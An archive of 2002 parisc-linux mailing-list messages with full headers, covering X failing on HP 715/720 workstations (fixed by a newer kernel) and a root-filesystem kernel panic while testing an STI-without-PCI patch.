	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14370

Thank you for your answer, but I know X is fine with 712 ;)
(it works very well, including gnome, kde, enlightenment....)
I only have a problem with 715 and 720...
I use the proper XF86Config posted here, and available on the ftp (with the
proper keymap for hil keyboards...)
The problem is no device is detected with 715 and 720, when a specify fbdev
as driver...


----- Original Message -----
From: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
To: "Jean-Louis Abat" <jl_abat@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, March 18, 2002 11:12 AM
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?


> On Mon, Mar 18, 2002 at 11:05:24AM +0100, Jean-Louis Abat wrote:
> > Hi,
> >
> > I made an installation with the 0.9.3 iso on 3 different types of
> > parisc systems : 715/33,720/50 and 712/80. As I haven't much time to
> > do so, I decide to use only tasksel, and not dselect. The pb was the
> > same under 715 and 720 : no X, but it is ok with the 712... (of
> > course, I've modified the XF86Config for all, using fbdev as driver,
> > and using a serial mouse and a hil keyboard for the 715 and 720 with
> > the good keymap...) What could be the problem? Are 715 and 720
> > working under X ??
>
> Yes, definitely. X is fine on my 712/80. The config was posted here,
> check the Archives.
>
>
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
> Why is Linux so stable?
> Because Penguins can't fly.
>
>



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 10:41:50 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20020318104150.GV21376@sleepie.demon.co.uk>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com> <20020318101223.GI31276@charite.de> <DAV51vjqueolj8Jecd900003763@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621168 4979 80.91.229.3 (22 Nov 2014 01:52:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jean-Louis Abat <jl_abat@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 03:56:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DF3A484F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 03:56:58 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id B5E219EC88; Mon, 18 Mar 2002 10:41:50 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <DAV51vjqueolj8Jecd900003763@hotmail.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14371

On Mon, Mar 18, 2002 at 11:25:45AM +0100, Jean-Louis Abat wrote:
> Thank you for your answer, but I know X is fine with 712 ;)
> (it works very well, including gnome, kde, enlightenment....)
> I only have a problem with 715 and 720...
> I use the proper XF86Config posted here, and available on the ftp (with the
> proper keymap for hil keyboards...)
> The problem is no device is detected with 715 and 720, when a specify fbdev
> as driver...

Do you get the penguin logo top left of the screen during boot?
If not, then it is a kernel problem, which might possibly be solved in
more recent kernels.  You could try one from
ftp://ftp.parisc-linux.org/kernels/32/
for example.

Otherwise, check your  dmesg output to see what screen resolution and
depth fb is reporting, and make sure you have that (and only that)
specified in XF86-Config.

Failing that, post your dmsg output here.

Richard




From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 12:05:33 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <DAV47nrvDOv5y4FypKs0000083e@hotmail.com>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com> <20020318101223.GI31276@charite.de> <DAV51vjqueolj8Jecd900003763@hotmail.com> <20020318104150.GV21376@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621168 4987 80.91.229.3 (22 Nov 2014 01:52:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:48 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 04:04:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav47.law15.hotmail.com [64.4.22.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 483034853
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 04:04:53 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Mar 2002 03:04:52 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 18 Mar 2002 11:04:52.0659 (UTC) FILETIME=[BAAA3030:01C1CE6C]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14372

Thanks a lot!!
I didn't see the logo at boot time .
I was just a little surprised because with my 712, I always see it, but that
was the first time I install a 715 and 720, so it could have been different
with these systems...
I immediatly try another kernel !!

best regards,

jl.

----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "Jean-Louis Abat" <jl_abat@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, March 18, 2002 11:41 AM
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?


> On Mon, Mar 18, 2002 at 11:25:45AM +0100, Jean-Louis Abat wrote:
> > Thank you for your answer, but I know X is fine with 712 ;)
> > (it works very well, including gnome, kde, enlightenment....)
> > I only have a problem with 715 and 720...
> > I use the proper XF86Config posted here, and available on the ftp (with
the
> > proper keymap for hil keyboards...)
> > The problem is no device is detected with 715 and 720, when a specify
fbdev
> > as driver...
>
> Do you get the penguin logo top left of the screen during boot?
> If not, then it is a kernel problem, which might possibly be solved in
> more recent kernels.  You could try one from
> ftp://ftp.parisc-linux.org/kernels/32/
> for example.
>
> Otherwise, check your  dmesg output to see what screen resolution and
> depth fb is reporting, and make sure you have that (and only that)
> specified in XF86-Config.
>
> Failing that, post your dmsg output here.
>
> Richard
>
>



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 12:56:13 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <DAV21yYFzrc5kXqPe6r000145e9@hotmail.com>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com> <20020318101223.GI31276@charite.de> <DAV51vjqueolj8Jecd900003763@hotmail.com> <20020318104150.GV21376@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621168 4991 80.91.229.3 (22 Nov 2014 01:52:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:48 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Richard Hirst" <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 04:55:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav21.law15.hotmail.com [64.4.22.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46CE44858
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 04:55:33 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Mar 2002 03:55:32 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 18 Mar 2002 11:55:32.0607 (UTC) FILETIME=[CE9D70F0:01C1CE73]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14373

Thanks again!
That really was a kernel problem, it now works fine with kernel 2.4.18 !
(the kernel with iso 0.9.3 is 2.4.9 and doesn't seem to be good for 715 and
720 (i guess also 735), but works fine with 712...)

jl.
----- Original Message -----
From: "Richard Hirst" <rhirst@linuxcare.com>
To: "Jean-Louis Abat" <jl_abat@hotmail.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, March 18, 2002 11:41 AM
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?


> On Mon, Mar 18, 2002 at 11:25:45AM +0100, Jean-Louis Abat wrote:
> > Thank you for your answer, but I know X is fine with 712 ;)
> > (it works very well, including gnome, kde, enlightenment....)
> > I only have a problem with 715 and 720...
> > I use the proper XF86Config posted here, and available on the ftp (with
the
> > proper keymap for hil keyboards...)
> > The problem is no device is detected with 715 and 720, when a specify
fbdev
> > as driver...
>
> Do you get the penguin logo top left of the screen during boot?
> If not, then it is a kernel problem, which might possibly be solved in
> more recent kernels.  You could try one from
> ftp://ftp.parisc-linux.org/kernels/32/
> for example.
>
> Otherwise, check your  dmesg output to see what screen resolution and
> depth fb is reporting, and make sure you have that (and only that)
> specified in XF86-Config.
>
> Failing that, post your dmsg output here.
>
> Richard
>
>



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 16:55:19 +0100 (CET)
Lines: 33
Approved: news@gmane.org
Message-ID: <1016466919.3c960de7350ce@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621169 5002 80.91.229.3 (22 Nov 2014 01:52:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 08:55:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id E497F4832
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 08:55:26 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16mzTk-0001Lm-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 16:55:20 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14374

Hi Matt,

I test your patch against k-2.4.18-pa5 (co this morning)

I uncheck CONFIG_PCI in my .config file then make menuconfig and make dep ; make
cklean ; make vmlinux.

It compiles successfully (with apt-get dist-upgrade this morning).

BUT:
(or 'b' to boot with this command line)? b

Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=3/boot/vmlinux-t'
Selected kernel: /boot/vmlinux-t from partition 3
...
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI word mode ROM at f0011000, hpa=f8000000
STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.07
STI device: INTERNAL_EG_1280
Console: switching to colour frame buffer device 160x64
...

Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 08:03

I hope it will help you,
    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 15:58:33 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk>
References: <1016466919.3c960de7350ce@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621169 5005 80.91.229.3 (22 Nov 2014 01:52:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 08:58:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CF8DC4845
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 08:58:39 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mzWr-0000hd-00; Mon, 18 Mar 2002 15:58:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1016466919.3c960de7350ce@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Mar 18, 2002 at 04:55:19PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14375

On Mon, Mar 18, 2002 at 04:55:19PM +0100, joel.soete@freebel.net wrote:
> I uncheck CONFIG_PCI in my .config file then make menuconfig and make dep ; make
> cklean ; make vmlinux.
> 
> It compiles successfully (with apt-get dist-upgrade this morning).

thanks.

> BUT:
> (or 'b' to boot with this command line)? b
> 
> Command line for kernel: 'root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102
> palo_kernel=3/boot/vmlinux-t'
> Selected kernel: /boot/vmlinux-t from partition 3
> ...
> parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
> STI word mode ROM at f0011000, hpa=f8000000
> STI word mode ROM, id 2d08c0a7-9a02587, conforms to spec rev. 8.07
> STI device: INTERNAL_EG_1280
> Console: switching to colour frame buffer device 160x64
> ...
> 
> Please append a correct "root=" boot option
> Kernel panic: VFS: Unable to mount root fs on 08:03

umm.. could you show the portions of your boot log relating to scsi or sda?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 17:19:11 +0100 (CET)
Lines: 45
Approved: news@gmane.org
Message-ID: <1016468351.3c96137f696f0@webmail.tiscalinet.be>
References: <1016466919.3c960de7350ce@webmail.tiscalinet.be> <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621169 5010 80.91.229.3 (22 Nov 2014 01:52:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:49 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 09:19:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADB2D483C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 09:19:34 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16mzqp-0001em-00; Mon, 18 Mar 2002 17:19:11 +0100
In-Reply-To: <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14376

Quoting Matthew Wilcox <willy@debian.org>:

> On Mon, Mar 18, 2002 at 04:55:19PM +0100, joel.soete@freebel.net wrote:
> > I uncheck CONFIG_PCI in my .config file then make menuconfig and make
> dep ; make
> > cklean ; make vmlinux.
> > 
> > It compiles successfully (with apt-get dist-upgrade this morning).
> 
> thanks.
> 
> umm.. could you show the portions of your boot log relating to scsi or
> sda?
> 

For sure (I would have to add, sorry):
SCSI subsystem driver Revision: 1.00
53c700: Version 2.7 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2 
scsi0 : LASI SCSI 53c700
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32151N          Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 02
scsi0: (4:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST34371N          Rev: HPM2
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
Attached scsi disk sdb at scsi0, channel 0, id 4, lun 0
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: unknown partition table
scsi0: (4:0) Enabling Tag Command Queuing
SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
 sdb: unknown partition table

(well it works with k-2.4.18-pa4 from last this March 12 and I just restart to
compile this new pa5 with previous .config to compare)

    Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 16:24:36 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020318162436.N21765@parcelfarce.linux.theplanet.co.uk>
References: <1016466919.3c960de7350ce@webmail.tiscalinet.be> <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk> <1016468351.3c96137f696f0@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621169 5012 80.91.229.3 (22 Nov 2014 01:52:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 09:24:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1EB24848
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 09:24:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mzw4-0001DQ-00; Mon, 18 Mar 2002 16:24:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1016468351.3c96137f696f0@webmail.tiscalinet.be>; from joel.soete@freebel.net on Mon, Mar 18, 2002 at 05:19:11PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14377

On Mon, Mar 18, 2002 at 05:19:11PM +0100, joel.soete@freebel.net wrote:
> SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
> Partition check:
>  sda: unknown partition table
> scsi0: (4:0) Enabling Tag Command Queuing
> SCSI device sdb: 8388314 512-byte hdwr sectors (4295 MB)
>  sdb: unknown partition table
> 
> (well it works with k-2.4.18-pa4 from last this March 12 and I just restart to
> compile this new pa5 with previous .config to compare)

That's very strange.  Are you sure you have CONFIG_MSDOS_PARTITION=y in
your .config?  Otherwise, I gess there could be a problem with reading
the partition table off the disc... but that seems unlikely.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI without PCI
Date: Mon, 18 Mar 2002 17:53:58 +0100 (CET)
Lines: 24
Approved: news@gmane.org
Message-ID: <1016470438.3c961ba69aa41@webmail.tiscalinet.be>
References: <1016466919.3c960de7350ce@webmail.tiscalinet.be> <20020318155833.M21765@parcelfarce.linux.theplanet.co.uk> <1016468351.3c96137f696f0@webmail.tiscalinet.be> <20020318162436.N21765@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621170 5013 80.91.229.3 (22 Nov 2014 01:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:50 +0000 (UTC)
Cc: joel.soete@freebel.net, Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 09:54:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F4334843
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 09:54:06 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16n0OU-000223-00; Mon, 18 Mar 2002 17:53:58 +0100
